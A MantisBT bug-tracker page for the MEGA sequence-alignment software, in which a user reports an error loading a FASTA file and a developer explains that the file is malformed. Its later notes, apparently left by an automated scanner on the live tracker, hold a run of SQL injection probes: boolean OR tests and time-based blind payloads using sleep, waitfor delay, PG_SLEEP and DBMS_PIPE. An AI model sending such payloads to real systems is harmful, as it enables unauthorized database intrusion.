MantisBT - MEGA
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0002662MEGAAlignment Explorerpublic2021-03-23 06:592025-10-13 03:02
guest 
gstecher 
normalminorhave not tried
assignedreopened 
PCWindows10
 
 
Phillip
McClean
phillip.mcclean@ndsu.edu
phillip.mcclean@ndsu.edu
0002662: Access Violation Error Loading .fas file
Hi Everyone-

I have downloaded and installed MEGA X on two computers. One has 16 Gb of RAM, while the other computer has 32 Gb of RAM.

I began my MEGA X session by attempting an alignment. In each instance, I received the following error message in the Alignment Explorer:

Application: Error: failed to load fasta file; Access Violation

For both of the computers, I also have MEGA 7 installed. When I load the same .fas file with MEGA 7, the program works properly.

MEGA X has some features I would like to incorporate into my analysis, so I would like to solve this loading issue.

Any ideas on how to resolve the loading issue with MEGA X.

Thanks for any help.

Phil
No tags attached.
? F35H-all-sequences.fas (93,499) 2021-03-23 06:59
https://www.megasoftware.net/mantis_bt/
Issue History
1969-12-31 17:33user19Statusnew => assigned
1969-12-31 17:33user19Assigned To => user614
1969-12-31 17:33user614Note Added: 0002079
1969-12-31 17:33user614Note Added: 0002610
1969-12-31 17:33user614Statusassigned => closed
1969-12-31 17:33user614Resolutionopen => fixed
2021-03-23 06:59guestNew Issue
2021-03-23 06:59guestFile Added: F35H-all-sequences.fas
2021-03-25 10:07gstecherNote Added: 0004564
2021-03-25 10:07gstecherStatusnew => resolved
2021-03-25 10:07gstecherResolutionopen => fixed
2021-03-25 10:07gstecherAssigned To => gstecher
2025-08-22 00:23guestTag Attached: mega
2025-08-28 10:53guestTag Detached: mega
2025-08-29 08:09guestTag Attached: john
2025-09-08 15:21guestTag Detached: john
2025-10-13 02:27guestNote Added: 0008093
2025-10-13 02:27guestStatusresolved => feedback
2025-10-13 02:27guestResolutionfixed => reopened
2025-10-13 02:28guestNote Added: 0008095
2025-10-13 02:28guestStatusfeedback => assigned
2025-10-13 02:28guestNote Added: 0008096
2025-10-13 02:29guestNote Added: 0008097
2025-10-13 02:34guestNote Added: 0008098
2025-10-13 02:35guestNote Added: 0008099
2025-10-13 02:35guestNote Added: 0008100
2025-10-13 02:36guestNote Added: 0008101
2025-10-13 02:40guestNote Added: 0008102
2025-10-13 02:40guestNote Added: 0008103
2025-10-13 02:40guestNote Added: 0008104
2025-10-13 02:41guestNote Added: 0008105
2025-10-13 02:41guestNote Added: 0008106
2025-10-13 02:41guestNote Added: 0008107
2025-10-13 02:41guestNote Added: 0008108
2025-10-13 02:41guestNote Added: 0008109
2025-10-13 02:41guestNote Added: 0008110
2025-10-13 02:41guestNote Added: 0008111
2025-10-13 02:41guestNote Added: 0008112
2025-10-13 02:42guestNote Added: 0008113
2025-10-13 02:42guestNote Added: 0008114
2025-10-13 02:42guestNote Added: 0008115
2025-10-13 02:43guestNote Added: 0008116
2025-10-13 02:43guestNote Added: 0008117
2025-10-13 02:43guestNote Added: 0008118
2025-10-13 02:44guestNote Added: 0008119
2025-10-13 02:44guestNote Added: 0008120
2025-10-13 02:44guestNote Added: 0008121
2025-10-13 02:45guestNote Added: 0008122
2025-10-13 02:45guestNote Added: 0008123
2025-10-13 02:45guestNote Added: 0008124
2025-10-13 02:46guestNote Added: 0008125
2025-10-13 02:46guestNote Added: 0008126
2025-10-13 02:47guestNote Added: 0008127
2025-10-13 02:47guestNote Added: 0008128
2025-10-13 02:47guestNote Added: 0008129
2025-10-13 02:47guestNote Added: 0008130
2025-10-13 02:47guestNote Added: 0008131
2025-10-13 02:47guestNote Added: 0008132
2025-10-13 02:47guestNote Added: 0008133
2025-10-13 02:47guestNote Added: 0008134
2025-10-13 02:47guestNote Added: 0008135
2025-10-13 02:48guestNote Added: 0008136
2025-10-13 02:48guestNote Added: 0008137
2025-10-13 02:49guestNote Added: 0008138
2025-10-13 02:55guestNote Added: 0008139
2025-10-13 02:56guestNote Added: 0008140
2025-10-13 02:56guestNote Added: 0008141
2025-10-13 02:57guestNote Added: 0008142
2025-10-13 03:02guestNote Added: 0008143

Notes
(0002079)
user614   
1969-12-31 17:33   
Hello Andrew,

We received your bug report regarding the failed installation of the MEGA 5 full release on your Mac computer. In order to diagnose what went wrong with the installation it would help us greatly if you could send us the installation log that MEGA creates during install. This file will be located at ‘your home directory/MEGA/MEGAInstallLog.txt’. Also, because the installation failed but you were able to install the beta version previously, there should be another installation log file (from the beta install) located at ‘your home directory/MEGAInstallLog.txt’. If you could send me both of these files it would really help is in figuring out why the installation failed and fixing the problem.

Best regards,

Glen Stecher
(0002610)
user614   
1969-12-31 17:33   
This problem only occurs with the old style of installer. Fixed when we switched to Wineskin.
(0004564)
gstecher   
2021-03-25 10:07   
fixed in 10.2.5

Hi Phillip,

I am writing in response to the bug report you recently submitted regarding the MEGA software. The file you uploaded is malformed. To see this, open the file in a text editor and at the end of line 248 there is AMVTPRLSLDVYRCN.menziesii-FH which looks like the name of the next sequence in the file. Anyway, thanks for the feedback. We will update MEGA to show an informative message in this case in the future.

Best regards,
Glen Stecher
Institute for Genomics and Evolutionary Medicine
igem.temple.edu
(0008093)
guest   
2025-10-13 02:27   
555
(0008095)
guest   
2025-10-13 02:28   
555
(0008096)
guest   
2025-10-13 02:28   
555
(0008097)
guest   
2025-10-13 02:29   
555
(0008098)
guest   
2025-10-13 02:34   
555
(0008099)
guest   
2025-10-13 02:35   
555
(0008100)
guest   
2025-10-13 02:35   
555
(0008101)
guest   
2025-10-13 02:36   
555
(0008102)
guest   
2025-10-13 02:40   
555
(0008103)
guest   
2025-10-13 02:40   
555
(0008104)
guest   
2025-10-13 02:40   
555
(0008105)
guest   
2025-10-13 02:41   
555UDNncpyH
(0008106)
guest   
2025-10-13 02:41   
555
(0008107)
guest   
2025-10-13 02:41   
-1 OR 5*5=25 --
(0008108)
guest   
2025-10-13 02:41   
-1 OR 5*5=25
(0008109)
guest   
2025-10-13 02:41   
-1' OR 5*5=25 --
(0008111)
guest   
2025-10-13 02:41   
-1' OR 5*5=25 or 'd1QlG7xi'='
(0008110)
guest   
2025-10-13 02:41   
-1" OR 5*5=25 --
(0008112)
guest   
2025-10-13 02:41   
-1" OR 5*5=25 or "tCd3kFSJ"="
(0008113)
guest   
2025-10-13 02:42   
555*if(now()=sysdate(),sleep(15),0)
(0008114)
guest   
2025-10-13 02:42   
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
(0008115)
guest   
2025-10-13 02:42   
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(0008116)
guest   
2025-10-13 02:43   
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
(0008117)
guest   
2025-10-13 02:43   
555-1; waitfor delay '0:0:15' --
(0008118)
guest   
2025-10-13 02:43   
555-1); waitfor delay '0:0:15' --
(0008119)
guest   
2025-10-13 02:44   
555-1 waitfor delay '0:0:15' --
(0008120)
guest   
2025-10-13 02:44   
555Wh2ky4mv'; waitfor delay '0:0:15' --
(0008121)
guest   
2025-10-13 02:44   
555-1 OR 52=(SELECT 52 FROM PG_SLEEP(15))--
(0008122)
guest   
2025-10-13 02:45   
555-1) OR 617=(SELECT 617 FROM PG_SLEEP(15))--
(0008123)
guest   
2025-10-13 02:45   
555-1)) OR 372=(SELECT 372 FROM PG_SLEEP(15))--
(0008124)
guest   
2025-10-13 02:45   
555H80wkVsf' OR 548=(SELECT 548 FROM PG_SLEEP(15))--
(0008125)
guest   
2025-10-13 02:46   
555haThEUF9') OR 948=(SELECT 948 FROM PG_SLEEP(15))--
(0008126)
guest   
2025-10-13 02:46   
555xD7Gozg4')) OR 18=(SELECT 18 FROM PG_SLEEP(15))--
(0008127)
guest   
2025-10-13 02:47   
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
(0008128)
guest   
2025-10-13 02:47   
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
(0008129)
guest   
2025-10-13 02:47   
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
(0008130)
guest   
2025-10-13 02:47   
555
(0008132)
guest   
2025-10-13 02:47   
555
(0008131)
guest   
2025-10-13 02:47   
555'"
(0008133)
guest   
2025-10-13 02:47   
@@qCiVv
(0008134)
guest   
2025-10-13 02:47   
(select 198766*667891)
(0008135)
guest   
2025-10-13 02:47   
(select 198766*667891 from DUAL)
(0008136)
guest   
2025-10-13 02:48   
555
(0008137)
guest   
2025-10-13 02:48   
555
(0008138)
guest   
2025-10-13 02:49   
555
(0008139)
guest   
2025-10-13 02:55   
555
(0008140)
guest   
2025-10-13 02:56   
555
(0008141)
guest   
2025-10-13 02:56   
555
(0008142)
guest   
2025-10-13 02:57   
555
(0008143)
guest   
2025-10-13 03:02   
555